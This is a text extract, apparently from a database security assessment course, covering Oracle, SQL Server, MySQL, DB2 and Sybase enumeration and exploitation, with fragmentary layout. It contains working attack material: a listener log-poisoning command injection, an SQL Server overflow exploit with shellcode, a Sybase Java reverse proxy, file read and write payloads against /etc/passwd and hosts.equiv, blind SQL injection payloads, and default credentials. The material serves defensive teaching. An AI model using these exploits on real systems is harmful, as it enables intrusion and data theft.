|| dir > test.txt (typed by the user)
Error created on screen and written to the file test.bat.
11-OCT-2004 02:27:27 * log_file * 0
11-OCT-2004 02:28:00 * 1153
TNS-01153: Failed to process string: || dir > test.txt
NL-00303: syntax error in NV string
If this batch file is run at some stage, each line of text will be treated as a command to
execute. The majority of the file will not contain any meaningful data to execute, but the
inclusion of the double pipe (||) signals to the Windows Command Interpreter to execute
the second command if the first is unsuccessful (as it is in this case). The end result is
that the user / attacker specified command is executed against the server. By choosing a
file that is likely to execute at startup or logon, it should be possible to compromise the
database server. In a similar way, under UNIX database installations it is possible to echo
++ into the .rhosts file for the Oracle user and utilise r*services to login to the host with
shell access.
Later versions of Oracle have prevented log file poisoning by appending .log to the
specified file, ensuring that it cannot become executable. ADMIN_RESTRICTIONS and a
TNS Listener password should also be applied to prevent these forms of attack and
enumeration.
Notes
74
The SQL Monitor port will in fact return the corresponding TCP port that the server
process is listening on. In this way, it is possible to find the SQL server when the process
has been configured to listen on an arbitrary non-default port. SQLPing2 has been
developed with a GUI interface and the ability to scan entire network subnets for SQL
Server instances using the same single-byte principal. In addition, it can be used against
the subnet broadcast address.
SQL Server can be configured to not respond to broadcast requests from clients, however
this feature is generally not implemented due to limitations with multiple server instances.
Notes
75
The returned text based banner contains the MySQL version. Using the version number it
is possible to research potential vulnerabilities using an online vulnerability listing such as
the ICAT Metabase or Security Focus (http://www.securityfocus.com).
Notes
76
Once a server instance has been discovered the DAS can be queried directly to
enumerate sensitive data from the host. The DAS supports functions that can be called
Notes
77
remotely by a client with and without authentication. By using the functions exported by
db2dasfn.dll, specifically db2dasGetDasLevel, getDasCfg and getOSInfo (which do not
require authentication) sensitive data can be obtained. Common information available in
this way is as follows:
Database Instances
Custom code can be developed to use these functions and produce a tool to enumerate
database and Operating System details in this way. The following screenshot shows a
custom tool determining the Operating System and patch level of a test DB2 installation:
It is possible to prevent DB2 servers from responding to DAS discovery requests within a
network by changing the discovery options for a database instance. This is achieved by
opening the Control Center and right clicking on the database instance. Selecting
Configure Parameters from the menu allows the Discover option to be set to Disable. The
following screenshot highlights this:
Notes
78
Notes
79
The TDS Response packet contains the string sql server and immediately after that
follows 4 bytes that contain the sever version number. Bytes 0x0c, 0x05, 0x00 and 0x00
indicate that when converted to decimal the version number of 12.5.0.0. This is not
entirely accurate for this server, however the discovery of the major and minor version
Notes
80
Notes
81
In certain versions of MySQL it is possible to authenticate using only the password hash
and not the clear text representation of the password. This attack will be discussed during
a later module.
Notes
82
XORd with zero remains unchanged making this encrypted string easy to reveal. The
following screenshot shows the encrypted SA password available from the network:
It is trivial to write custom code to obtain the clear text password from this network traffic.
Notes
83
Password
CHANGE_ON_INSTALL
MANAGER
DBSNMP
CTXSYS
MDSYS
INTERNAL
A simple and quick command line tool that can check for Oracle default usernames and
passwords is the OraclePWGuess utility (http://www.cqure.net) which is part of a larger set
of programs, the Oracle Auditing Toolkit. OraclePWGuess is a dictionary attack tool that
can be used with user supplied dictionaries or with the built in support for finding default
accounts. The following screenshots demonstrates the tool running against a default
Oracle 9i installation. The first shot shows a verbose output with the accounts under
check and the second shows the successful attempts:
Notes
84
Notes
85
Notes
86
A more generic way to look for blank SA passwords on Microsoft SQL Server and Sybase
ASE is to configure an ODBC connection within a Windows Operating System. This is
generally achieved by using the Microsoft ODBC Administrator to configure a System DSN
in the following way:
After selecting the database type, the host IP address is specified.
Notes
87
Enter the SA account and leave the password blank, if the password is not blank the
following dialogue will be displayed:
However, if the password is successful the ODBC Administrator will guide you through
some additional options before providing the following summary:
Notes
88
Opting to test the data source will result in the following screen if the password selected is
correct for the user account:
This technique can be used for Sybase ASE if the correct ODBC driver is present within
the Operating System. Obviously, any password can be attempted rather than simply a
blank attempt. However, to check a large number of attempts a tool similar to SQLdict is
preferable.
Notes
89
Notes
90
Notes
91
ulong hash_message[2];
char buff[16],*to,extra; /* Big enough for check */
const char *pos;
hash_password(hash_message, message, SCRAMBLE_LENGTH_323);
randominit(&rand_st,hash_pass[0] ^ hash_message[0],
Page 6
hash_pass[1] ^ hash_message[1]);
to=buff;
for (pos=scrambled ; *pos ; pos++)
*to++=(char) (floor(my_rnd(&rand_st)*31)+64);
extra=(char) (floor(my_rnd(&rand_st)*31));
to=buff;
while (*scrambled)
{
if (*scrambled++ != (char) (*to++ ^ extra))
return 1; /* Wrong password */
}
return 0;
}
At this point, the user has specified a 'scrambled' string that is as long as they wish. In the
case of the straightforward authentication bypass, this is a zero-length string. The final
loop compares each character in the 'scrambled' string against the string that mysql knows
is the correct response, until there are no more characters in 'scrambled'. Since there are
no characters *at all* in 'scrambled', the function returns '0' immediately, allowing the user
to authenticate with a zero-length string.
This bug is relatively easy to exploit, although it is necessary to write a custom MySQL
client in order to do so; since source code is available this isnt too hard to achieve.
Notes
92
Module Summary
In this module we have seen that a great deal of information can be gathered from the
most common databases found in large networks without the use of database
credentials. The following has been covered by Module 5: Unauthenticated Database
Enumeration:
Using port scanners and signature checkers such as Nmap and Amap to establish
running database services within a network. Establishing database services that
are listening on arbitrary non-default ports.
Issuing requests for information directly to the Oracle TNS Listener and returning
the remote Operating System type, database version, database instances / SID
and security settings.
The direct attack and exploitation of the Oracle TNS Listener using known
vulnerabilities and the possibility for host compromise using log file poisoning.
Enumerating weak and default database credentials from IBM DB2, MySQL,
Microsoft SQL Server, Oracle and Sybase ASE.
Notes
93
Module Abstract
To many people it may seem a fruitless or unrealistic endeavour to conduct database
assessment with valid credentials, since a normal database login provides considerable
access to the database. Authenticated database assessment serves an important
purpose when analysing the security posture of a database installation. There are many
ways for an attacker to either gain valid credentials or execute queries against a database
without directly providing authentication or by exploiting default product conditions (see
module 5). Based upon this condition, it is invaluable to assess the attack surface area of
a database from an authenticated standpoint.
This module will outline the options available to an attacker with the ability to run queries
against a database. Understanding the potential dangers to the host and data contained
within the database will highlight any requirement for the hardening of vulnerable or
exposed areas.
Module Overview
This course module consists of the following topics:
Notes
94
Notes
95
Notes
96
Notes
97
Notes
98
Notes
99
Graphical Representations
The majority of modern databases do not simply rely upon direct SQL statements, but
instead provide GUI based clients for query access and administration. This is a good
place to start if you require an at-a-glance overview of a database layout. As we have
seen in Module 4: Building a Database Assessment Toolkit the DbVisualizer tool is good
at providing graphical views across many different types of databases.
The screenshot over leaf shows DbVisualizer exploring tables and views in an Oracle
database.
Notes
100
Notes
101
who_has_role.sql This script can be used to find which users and ROLES have
been granted to a specific ROLE. The checks are performed hierarchically via the
ROLES granted to ROLES. The output of the tool can be either simply to the
screen or to a file.
who_has_priv.sql This script is used to find which users have been granted the
privilege passed in. Again the script checks hierarchically for each user granted
the privileges via a role. The output of the tool can be either simply to the screen
or to a file.
who_can_access.sql Finally, this script can be used to find who can access an
object that is specified. It checks recursively for users hierarchically via ROLES.
The output of the tool can be either simply to the screen or to a file.
The use of these scripts is representative of the types of auditing that can be performed on
these objects for any database.
Notes
102
xp_regdeletekey - Deletes a registry key and its values if it has no sub keys.
Notes
103
xp_fixeddrives - Returns information about the servers drives and free space.
xp_getnetname - Shows the servers network name, this could allow an attacker to
guess the names of other machines on the network.
DMBS_JAVA Java is integrated directly into Oracle and can be called from
PL/SQL statements providing that the user executing the statements is granted
the relevant permissions with DBMS_JAVA. Operating System commands can be
executed against the server enabling a malicious attacker with said rights the
opportunity for compromise.
UTL_FILE This package can be used to read data information from or write
information to the server file system. A malicious attacker may do this to read out
sensitive data such as Operating System passwords.
Notes
104
UTL_TCP This package is used to make arbitrary use of TCP sockets to send
and receive network data. It provides an attacker great flexibility for attacking the
server or other hosts within the local network. In further modules you will see how
an attacker can construct a PL/SQL based port scanning tool based upon this
package.
UTL_HTTP Using this package an attacker can craft specific attacks against
web servers.
UTL_HTTP supports proxy servers, cookies, redirects and
authentication meaning that an attacker can craft a tool to either attack a web
server or gain web access to a resource (possibly the Internet).
Notes
105
Notes
106
Notes
107
Notes
108
And adding the following line after the newly commented line:
get_hash(hash_pass,password);
Recompiling the mysql command line tool will now allow the authentication process to use
the password hash instead of the actual password. For example:
mysql -u root -p5d2e19393cc5ef67
Notes
109
Module Summary
In this module we have seen the type of information a database assessment should check
when database credentials are either available or have been enumerated. The following
elements have been discussed:
Collating Database Resources Listing all database objects that have security
relevance is an invaluable exercise, determining tables, views Stored Procs etc.
Listing Database User Access Determining the level of access and permission
each database user has over the objects defined.
Finding Dangerous Default Content There are many resources within default
database installations that can be considered dangerous content or potentially
harmful should a malicious attacker gain access to it. Determining this content
and assessing its suitability for inclusion or omission is a vital part of the database
assessment.
Notes
110
Module Abstract
Good enumeration of your database will reveal configuration errors and default content
that can lead to a compromise. Once enumeration has reached a satisfactory level, it is
possible to launch direct probes for specific known database vulnerabilities.
This module deals with the process of identifying database vulnerabilities that can lead to
compromise of the data , host or network integrity.
Module Overview
This course module consists of the following topics:
Notes
111
tcp
udp
tcp
udp
tcp
udp
tcp
udp
tcp
udp
tcp
udp
tcp
tcp
tcp
udp
tcp
udp
tcp
sql*net
sql*net
sqlserv
sqlserv
ingres-net
ingres-net
sql-net
sql-net
sqlsrv
sqlsrv
ibm-db2
ibm-db2
ibm-db2
msql
mini-sql
mini-sql
mimer
mimer
ms-sql-s
Oracle SQL*NET
Oracle SQL*NET
SQL Services
SQL Services
INGRES-NET Service
INGRES-NET Service
SQL-NET
SQL-NET
SQL Service
SQL Service
IBM-DB2
IBM-DB2
IBM DB2 admin listener
mini-sql server
Mini SQL
Mini SQL
MIMER
MIMER
Microsoft-SQL-Server
Notes
112
1433
1434
1434
1498
1498
1498
1498
1498
1498
1521
1524
1524
1978
1978
1979
1979
2041
2041
2439
2439
2520
2520
2638
2638
3050
3065
3065
3306
3306
3306
3306
3352
3352
4333
5432
6789
50000
udp
tcp
udp
tcp
udp
tcp
udp
tcp
udp
tcp
tcp
udp
tcp
udp
tcp
udp
tcp
udp
tcp
udp
tcp
udp
tcp
udp
tcp
tcp
udp
tcp
udp
tcp
udp
tcp
udp
tcp
tcp
tcp
tcp
ms-sql-s
ms-sql-m
ms-sql-m
sybase-sqlany
sybase-sqlany
watcom-sql
watcom-sql
sybase-sqlany
sybase-sqlany
oracle
ingreslock
ingreslock
unisql
unisql
unisql-java
unisql-java
interbase
interbase
sybasedbsynch
sybasedbsynch
Pervasive
Pervasive
sybase
sybaseanywhere
slinterbase
slinterbase
mysql
mysql
mysql
mysql
ssql
ssql
msql
postgres
ibm-db2-admin
ibm-db2
Microsoft-SQL-Server
Microsoft-SQL-Monitor
Microsoft-SQL-Monitor
Sybase SQL Any
Sybase SQL Any
watcom-sql
watcom-sql
Sybase SQL Any
Sybase SQL Any
Oracle 8 SQL (default)
ingres
ingres
UniSQL
UniSQL
UniSQL Java
UniSQL Java
Interbase
Interbase
SybaseDBSynch
SybaseDBSynch
Listener
Listener
Sybase database
Sybase Anywhere
interbase
slinterbase
slinterbase
MySQL
MySQL
MySQL
MySQL
SSQL
SSQL
mini-sql server
postgres database server
dB2 Web Control Center
IBM DB2 generic listener
Notes
113
General Checks
Notes
114
Notes
115
Permissions: permissions set for powerful procedures, roles and system tables
Custom code checks: checks for flaws in code in the business layer
Patch levels: find vulnerable packages and compare with version numbers and
patches
Configuration: startup modes, linked databases, log and audit file options
As most of the checks are SQL, an automated assessment could consist of a SQL scripts.
As we have seen previously, Pete Finnigan has produced assessment scripts for Oracle,
which are available from his website (www.petefinnigan.com).
Notes
116
Notes
117
Squirrel for Sybase business layer vulnerabilities, default login, information gathered
Notes
118
Permissions checks
Default users
Notes
119
Password cracking
Configuration checks
The next section should help match vulnerabilities to risk. The next section, Exploiting
Database Vulnerabilities will show how vulnerabilities should be verified.
Notes
120
Notes
121
Server Trust
If the database holds the business plans, risks, budget and salaries for the company,
compromising the database is the attackers end goal. If the server holds the stationary
order, there is no value in the database and its contents. Server compromise will be more
important. The server may provide a foothold onto a domain, internal network, or allow
compromise of the client systems connecting to it.
Vulnerability Chaining
Vulnerabilities identified by a scanner are identified in isolation; while it would not be
impossible to link vulnerabilities, currently tools do not attempt to chain together
vulnerabilities to demonstrate a larger vulnerability. Chaining, particularly in databases, is
an important aspect of the vulnerability grading process. The flow chart below shows the
role a vulnerability may play in allowing an attacker to achieve the end goal, and
introduces the next module, Exploiting Vulnerabilities.
Notes
122
Notes
123
Notes
124
Module Summary
To assess databases, a purpose-built database assessment tool is required. To locate
databases, a user should set up their own port list.
Vulnerability Assessment tools excel in enumerating permissions and objects. For
confirmation of patch status, manual assessment is required (although a scanner will
generally guess correctly, there is a error margin of false positives, and possibly false
negatives)
In general, configuration and logic flaws within business logic are far more simple and
reliable escalation methods than exploiting a database vulnerability.
Notes
125
Module Abstract
Abstract
Many people have utilised automated vulnerability scanners to find security vulnerabilities
within a networked host. However, in most cases, the results returned to the user are not
clear, contain technical detail that the user does not understand or reflect false positives
inherent in the crudeness of the vulnerability checks. It generally, takes a level of
understanding to determine the actual risk to you and your organisation based upon what
the tool or low-level consultancy services are telling about the system.
This module aims to explain and demonstrate some of the most critical vulnerabilities that
exist within database systems that can allow an attacker to compromise the integrity of the
data of the hosting server itself.
Module Overview
This course module consists of the following topics:
Notes
126
Notes
127
Classic Vulnerabilities
Classic classes of vulnerabilities such as Buffer Overflow, Format String specification and
path traversal may exist within stored procedures or functions.
Stored procedures are more than a shortcut for SQL programming: many call functions
outside the database. While the SQL language itself does not normally contain constructs
that allow buffer overflows and format strings, many SQL parsers suffer from overflows
and it is common for calls to external libraries to have these kinds of problems. Some
examples:
File operators: format strings, buffer overflows, path traversal / UNC paths
Mail functions: format strings, buffer overflows (Sybase ASA Anywhere mail
functions)
The unifying feature of all of these examples is that they call something outside the
database perimeter, whether its system time, files, proprietary libraries or mail clients. A
good demonstration of this is to look at the number of vulnerabilities in extended MSSQL
stored procedures; of around 100 stored procedures, 25 or so have been affected by
security vulnerabilities, most of them high risk issues.
Even so, it is not infeasible that a classic vulnerability could exist that was purely SQLbased; a table is just a file on a system, so a malicious table name or contents could lead
to a vulnerability (and has, in the past). In Sybase ASE, executing:
declare @foo 'AAAA.....AAAA' (for about 9000 characters)
.causes a buffer overflow!
In general, vulnerabilities within functions are very high risk, as they can be executed by all
users. Vulnerabilities within Stored procedures are more common, but as most
vulnerabilities are exploiting an instance where the database is clearly moving out of its
perimeter, permissions tend to have been set more carefully by the manufacturer or
administrator (although there is usually a publicly executable one to be found).
Notes
128
Notes
129
Notes
130
It is possible to inject code into INSERT, SELECT, UPDATE and DELETE statements to
give many opportunities for programmatic control over a procedure. Even anonymous
PL/SQL blocks can be exploited in this way.
Notes
131
Notes
132
BEGIN
DBMS_OUTPUT.PUT_LINE(Hello, World!);
END;
/carshow Is the Database Access Descriptor (DAD) which points to the location
of a configuration file that contains web server / database server connection
details.
Under normal operation when this request is made to the web server, the request is sent
to the database which executes the SEARCH_BY_MAKE procedure within the package
BROWSE. This procedure queries the table of cars and sends the results back to the web
server for presentation to the end user.
Historically it has been possible to make requests of other packages and procedures
under schemas other than that set by the application database context. Considering that
Oracles PL/SQL toolkit provides some potentially dangerous resources it was possible to
extract database information that was not intended for public consumption. For example:
http://www.greatcars.example.com/pls/carshow/SYS.OWA_UTIL.CELLSPRIN
T?P_THEQUERY=<select_query>
Here we see that the URL is requesting the OWA_UTIL.CELLSPRINT procedure from the
SYS database schema. This type of query would execute and allow an attacker to extract
arbitrary query results from the back end database.
Notes
133
To combat this Oracle introduced the PlsqlExclusionList. This allows for the specification
of database resources that cannot be accessed by a user over Oracle Application Server,
so if a request comes in for sensitive resources it is rejected. By default Oracle included
anything in the SYS schema, any package starting with DBMS* and anything starting with
OWA*. Immediately it appears to be an oversight that Oracle did not include resources
from the powerful schemas associated with MDSYS or CTXSYS.
Unfortunately for Oracle it was discovered by NGS Researchers that aside from them
overlooking the MDSYS and CTXSYS schemas that the pattern matching for the
PlsqlExclusionList was trivial to break!
By simply inserting non-default character
representations prior to the schema representation the pattern matching was evaded and
the queries were possible once more. This has continued in various forms with Oracle
fixing each issues as they are described to them.
It remains to be seen that on a default installation of Oracle Application Server it would be
trivial for an attacker to execute arbitrary queries against the database and potentially
compromise the system.
Notes
134
Notes
135
Using a simple set of SQL statements it is possible to read from the passwd file into a
temporary / holding table:
create table unixpwd( line varchar(80) );
load data infile '/etc/passwd' into table unixpwd;
select * from unixpwd;
drop table unixpwd
Notes
136
Similarly, it is possible to output data onto the file system. MySQL will not allow files to be
overwritten, however a new file could be created which will not be there by default, such
as /etc/hosts.equiv, or a startup script, for example:
select * from foo into outfile /etc/hosts.equiv
Most databases implement the same or similar methods for loading data with OUTFILE
and INFILE. If the attacker does not have the relevant privilege to load a file, it may be
possible to load a file more unconventionally, using a database function which is linked to
a library. For example, in DB2 it is possible to use XMLVarcharFromFile, which is used to
read in XML data:
select db2xml.xmlvarcharfromfile('c:\boot.ini','ibm-808') from
sysibm.sysdummy1
it is also possible to write files, and overwrite existing files, using the converse function,
XmlFileFromVarchar:
select db2xml.XMLFileFromVarchar('hello','c:\foo.txt') from
sysibm.sysdummy1
Notes
137
Notes
138
Where attempting to map an internal network from SQL Injection within a web application
in this way, it will not be possible to see the returned database error message. So instead
the timeout parameter can be used to determine the success of failure of the query. A
timeout of less than the specified parameter can indicate a live host with an open port,
whereas if the timeout is met or exceeded the case is unlikely. Although it would be
extremely time consuming to use this method to probe an internal network, it is a valid
method of progressing further into a trusted area and has been used on consultancy
engagements by NGS on numerous occasions.
Notes
139
server via SQL Injection or a different method for script upload. The following script
illustrates the ease with which a TCP reverse proxy can be created within Java:
create procedure proxy( @outhost varchar(1000), @outport integer,
@inhost varchar(1000), @inport integer ) as
begin
declare @sout java.net.Socket
declare @sin java.net.Socket
declare @outis java.io.InputStream
declare @outos java.io.OutputStream
declare @inis java.io.InputStream
declare @inos java.io.OutputStream
declare @buffer varchar(2000)
declare @no_out integer
declare @no_in integer
declare @i integer
set @sout = new java.net.Socket( @outhost, @outport )
set @outis = @sout>>getInputStream()
set @outos = @sout>>getOutputStream()
set @sin = new java.net.Socket( @inhost, @inport )
set @inis = @sin>>getInputStream()
set @inos = @sin>>getOutputStream()
set @i = 0
while(@i < 60)
begin
if(@outis>>available() > 0)
begin
set @buffer = char(@outis>>"read"())
while( @outis>>available() > 0 )
begin
set @buffer = @buffer +
char(@outis>>"read"())
end
set @inos =
@inos>>"write"(convert(varbinary(2000), @buffer))
set @no_out = 0
set @i = 0
end
else
set @no_out = 1
if(@inis>>available() > 0)
begin
set @buffer = char(@inis>>"read"())
while( @inis>>available() > 0 )
begin
set @buffer = @buffer +
char(@inis>>"read"())
end
set @outos =
@outos>>"write"(convert(varbinary(2000), @buffer))
Notes
140
set @no_in = 0
set @i = 0
end
else
set @no_in = 1
if(( @no_in = 1 ) and ( @no_out = 1 ))
begin
set @no_in =
java.lang.Thread.currentThread()>>sleep( 1000 )
set @i = @i + 1
end
end
set @sout = @sout>>"close"()
set @sin = @sin>>"close"()
end
By running a similar proxy on the attacking host, it would be possible to use the Sybase
server as a conduit into an internal network and attack vulnerable hosts that would
previously have been protected by the border firewall.
Notes
141
Ultimately, if a user can link to an external library in any database, they can achieve OS
compromise, particularly on a Windows system where the database is likely to be running
as SYSTEM.
Notes
142
BEGIN
DBMS_OUTPUT.ENABLE(1000000);
CN := UTL_TCP.OPEN_CONNECTION(HOST, TCP_PORT);
DBMS_OUTPUT.PUT_LINE('TCP Port ' ||
TCP_PORT || ' on ' || HOST || ' is open.');
EXCEPTION WHEN NETWORK_ERROR THEN
IF VERBOSE !=0 THEN
DBMS_OUTPUT.PUT_LINE('TCP Port ' ||
TCP_PORT || ' on ' || HOST || ' is not open.');
END IF;
WHEN OTHERS THEN
DBMS_OUTPUT.PUT_LINE('There was an error.');
END CHECK_PORT;
END TCP_SCAN;
/
SHOW ERRORS
Notes
143
Notes
144
BEGIN
print @sp + char(@ver)
select @sra = 0x2B49E277
select @WinExec = 0xAFA7E977
END
else if @ver = 49 -- Windows 2000 Service Pack 1
BEGIN
print @sp + char(@ver)
select @sra = 0x00000000 -- Need to get address
select @WinExec = 0x00000000 -- Need to get address
END
else -- No Windows 2000 Service Pack
BEGIN
print @sp + char(@ver)
select @sra = 0x00000000 -- Need to get address
select @WinExec = 0x00000000 -- Need to get address
END
select @short_jump = 0xEB0A9090
select @padding =
N'NGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSQuirre
LNGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSuirreLN
GSSQuirreLNGSSQuirreLNGSSQuirreL*'
select @a_bit_more_pad = 0x6000600060006000
select @exploit_code = 0x90558BEC33C0508D452450B8
select @call_eax = 0xFFD0FFD0
select @exploit = @padding + @sra + @short_jump + @a_bit_more_pad +
@exploit_code + @WinExec + @call_eax +@command
select pwdencrypt(@exploit)
This code works against MS SQL 2000 without any applied service packs.
Notes
145
Notes
146
0x04 Upon receiving a packet with the first byte set to 0x04 the SQL Server will
receive whatever immediately follows this packet and copy it into a buffer before
attempting to open a Windows Registry key using the buffer contents. During this
process, an unsafe string copy is performed and a stack based buffer overflow is
produced. This overwrites the saved return address on the stack and permits
remote unauthenticated code execution. Because this traffic is over UDP, it is
often possible to spoof the source address and bypass corporate firewalls by
setting a UDP source port of 53 (DNS).
0x08 Sending this packet to the SQL Server results in a Denial of Service
condition. Further research by NGS determined that this condition can actually be
developed into a HEAP based overflow. A remote attacker can use this condition
to execute arbitrary code against the SQL Server.
Notes
147
0x0A A curious condition was discovered when specifying a packet with the first
byte set to 0x0A. The server responds with the same packet. If the original
source address is spoofed to be that of another SQL Server, it is possible to force
the two SQL servers to bounce these packets between each other for ever more!
The following screenshot, taken again from the Metasploit Framework shows the
exploitation and reverse shell payload of a vulnerable SQL Server compromised by the
UDP resolution stack based overflow:
Notes
148
Windows, this attack allows for a complete compromise of the system, and on UNIX,
usually running as ORACLE, allows for a complete compromise of the data.
ALTER SESSION SET TIME_ZONE = '<long string here>'; SELECT
CURRENT_TIMESTAMP, LOCALTIMESTAMP FROM DUAL;
In a default installation, any user can execute this request. The above attack was executed
using the SCOTT / TIGER account.
Notes
149
brute force, or knowledge of at least one password hash. The attacker must know or be
able to guess the name of a user in order for either of these attacks to work, so renaming
the default MySQL 'root' account is a reasonable precaution. Also, the account in question
must be accessible from the attacker's host, so applying IP address based login
restrictions will also mitigate this bug. It is interesting to see that a simple change in the
attack vector can potentially yield a remote command execution vulnerability.
Notes
150
Notes
151
Trojaning MySQL
As with most database Trojan / Rootkit options there are several on offer for MySQL:
Notes
152
Notes
153
Module Summary
In this module we have seen some of the critical vulnerabilities that exist within common
database solutions and the extent to which they can be used to leverage control. The
following elements have been covered:
Code injection within database resources that can lead to privilege escalation.
Reading from and writing to arbitrary files on the Operating System from within a
database.
Methods for breaking out of the database and attacking the server host and
network. This has included methods for building custom attack tools within Java,
T-SQL and JSQL.
Older, classic vulnerabilities associated with temporary stored procedures and the
SQL Server Agent have been discussed to represent areas that are still
overlooked within products.
Serious buffer overrun conditions have been discussed showing the critical nature
of remote unauthenticated command execution within databases and Operating
Systems.
Notes
154
Module Abstract
So far the course has discussed methods of exploiting databases through known flaws
and common configuration weaknesses. This module instead attempts to show where
databases are generically vulnerable, and where future vulnerabilities are likely to be
found. It also provides readers with guidelines in finding new vulnerabilities.
For DBAs and network administrators, the main interest will be in finding vulnerabilities
within an existing system. This module touches on vulnerability assessment for a specific
installation, and may help uncover fundamental flaws in the implementation.
Module Overview
This course module consists of the following topics:
Notes
155
Assessment Methodology
Methodology / Specific Installations
The methods used for finding vulnerabilities in a specific corporate implantation and a
database product itself may vary considerably. Often, finding a vulnerability in the former is
will be a much quicker or more elegant short cut for an attacker than exploiting a
database vulnerability. While the subject of finding general vulnerabilities is the main
subject of this module, some time is spent here examining some of the other vulnerabilities
resulting from a specific implementation.
Client Access
Often, a user is given a thick client to log into. This will contain fields, buttons and
modules, which all go into formatting an SQL query. This query is sent to the server, and
the result is displayed inside the client application. If the user has a login to the application,
the chances are they will be able to log straight into the database with these credentials,
using their own client. If this is not possible, there may be other ways of gaining arbitrary
query access under that user account. Here are some, presented in order of increasing
difficulty.
Notes
156
Client Disassembly
A more complex method of bypassing the local restrictions and executing arbitrary queries
is to debug the client, and use breakpoints to manipulate the application. An example is
given here, using a standard SQL Query tool downloaded from the Internet. First, the
attacker downloads and runs WinDbg, the Windows Debugging Tool provided by
Microsoft. The query tool is opened in WinDbg. The attacker then opens the Disassembly
window.
As most ODBC queries are made through the function SQLExecDirect, the attacker can
set a breakpoint on this function; just type SQLExecDirect into the disassembly window in
WinDBG, or breakpoint the address directly if you know it.
bp 1f80b610
Note: The user may have to find the relevant function if the application is using other
functions or APIs.
The attacker then runs the query tool by selecting Go. Once the tool is running, any
attempt to execute a query (in this example) will hit the breakpoint. In this case, scrolling
back through memory from ebp (at 11bfe98) has revealed the connection string, which
includes the username and password. From here, if there is no certificate or other
connection requirement, the user can connect directly to the database with a full query
tool. Otherwise, scrolling back through memory a bit further reveals the original query that
hit the breakpoint; in this case the user has some more work to do, but has at least
obtained arbitrary query access to the app, as they can now modify the query. The
following screenshot (overleaf) illustrates this:
Notes
157
Notes
158
Notes
159
As SQL injection has been so well covered, only a few points are made here to summarise
the attacks presented in these papers. Under MSSQL server, it is possible to run batched
queries, so entering:
; INSERT INTO ..
will work. The INSERT query will run after the original SQL query has completed.
MSSQL Server includes a waitfor syntax which pauses execution of a query for the
specified time. An attacker can use this through SQL injection to determine the result of a
query, without needing an error message from the server:
if (select user) = 'sa' waitfor delay '0:0:5'
i.e., If the current DB account is sa, the web page will wait for 5 seconds before
returning. An attacker can retrieve arbitrary information by comparing a bit to 1 or 0:
if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor
delay '0:0:5'
A function which allows this type of operation in MySQL is the Benchmark function.
select if( user() like 'root@%', benchmark(50000,sha1('test')),
'false' );
The Benchmark function will then run 50000 calculations of the sha1 hash of the string test
if the condition is met.
Notes
160
Assessment Methodology
Methodology / Research
Assuming that the researcher has only the installation media, the following steps may be
used in assessment:
Installation
The installation is monitored to determine the default configurations and settings,
installation directories, registry keys created and file permissions set during installation.
This determines the default attack surface available. The installation is then repeated,
opening as much of the available functionality as possible.
SNMP Management
Within each of these, the researcher is looking for parameters outside the norm; if a
database usually accepts [username, password], but requires [username, password,
charset] when the connection comes from a particular app, is there an overflow in an
overly long charset? This charset parameter may have been added later, it may be a
previously unconsidered requirement of the apps communication, or the value may be
trusted because it only comes from the app, not from a client.
Notes
161
Stored Procedures
Functions
Triggers
Libraries
Again, the researcher is often looking for differences and unique elements within these
objects.
Fuzzing
Fuzzing is such an important part of an assessment methodology that it is worth covering
as a separate section. An approach to Fuzzing is outlined below:
Inputs to the Application are Located - The application is used by a tester for a
short period of time. This allows the tester to locate features which can be used to
interact with the application. Any and all methods of providing input to the
application are considered, and are examined further if they are within scope.
Breakdown of Inputs - Once a general class of input has been located, it is broken
down into as many component inputs as possible. Each one of these sub-classes
of input is considered separately.
Fuzzing is a balancing act, attempting to keep the level of corruption such that the
application accepts the request, but still does not process the request the way it
Notes
162
should. In most cases, there is no overlap between accepting the request and
behaving unexpectedly; the researchers experience with black box testing is what
allows the trade-off to be gauged appropriately.
Outputs are Monitored - During Fuzzing, the database is monitored for any
unusual behaviour. This may be as obvious as an application crash but in most
cases is not; memory consumption, error messages, display corruption, CPU
usage, unexpected network activity, and many more are all considered as signs of
potential application instability. All of these and many more are monitored in as
much detail as possible, and the moment that an indication is seen that the
application is not behaving as desired, testing will focus in on whatever caused the
flaw.
Repeatability - Once evidence of instability has been found, the test will be
restarted from the last convenient breakpoint. Often, instability is completely
random, and applications can and do crash for no reason at all other than the
stress that a test is placing upon them. This kind of instability is not usually
repeatable, and is of little use (other than as a general comment). However, if a
repeat of the test produces the same instability in the application, further
investigation is performed.
Further Investigation - Once a test has been identified which reliably causes
indication of undesired behaviour, the test case is mutated and refined. Minor
variations will be introduced into the test case in order to pinpoint the exact limits
of the instability. This could be varying the length of a string, changing the format
specifiers used, alternating the format of the message, or any of a large number of
other tests. This phase of testing will ultimately identify the exact limits and
capabilities of the problem; exhaustive testing here will pinpoint exactly what is
going on, based on the researchers experience of similar situations encountered
in other tests. In some cases, the test will turn out to be a false positive, in which
case testing will re-commence from the next Fuzzing attempt.
Source Code
If a researcher has access to source code, such as stored procedures, it may be possible
to find vulnerabilities through inspection. In MSSQL server for example, a researcher could
search for dynamic SQL statements within built-in and custom stored procedures by
running the following query:
select sysobjects.name, syscomments.text from sysobjects,
syscomments where syscomments.text LIKE '%exec%' and syscomments.id
= sysobjects.id order by sysobjects.name
Similarly, the attacker might search for operations involving external libraries:
Notes
163
Notes
164
Regmon / Filemon
These two utilities from www.sysinternals.com allow users to log registry and file reads
and writes. These can be filtered to allow users to log specific access to specific resources
only. This helps identify which actions within the database correspond to external actions
performed by the database.
TCPView
Another tool from SysInternals, this allows to report communication on the network. The
user can match ports, local and remote communications, and reference these to the
relevant local service performing the operation.
Process Explorer
The final SysInternals tool, this reports detailed information about each process, in
particular, which registry keys, files and directories the process has open, the process
tokens, and information on threads/mutexes,
OllyDbg
or any debugging tool, is more of a requirement in exploit development, however it can
be very useful to quickly determine whether a buffer overflow would be exploitable or not.
Sometimes a process may fail and restart automatically, at which point the researcher
must have been debugging it to notice the failure.
Notes
165
Ethereal
View all network communication with the database. Ethereal also possesses protocol
decoders for MySQL, TDS (Sybase and MSSQL) and other non-database protocols.
Built-in OS Tools
LSOF
One of the most powerful diagnostic tools for Linux, LiSt Open Files allows users PIDs to
be matched with open files. This is extremely useful, as under UNIX sockets, directories,
devices and inodes are all files. LSOF allows this information to be filtered by specifying a
particular file, directory or port, or a user could pipe the output through grep.
GDB
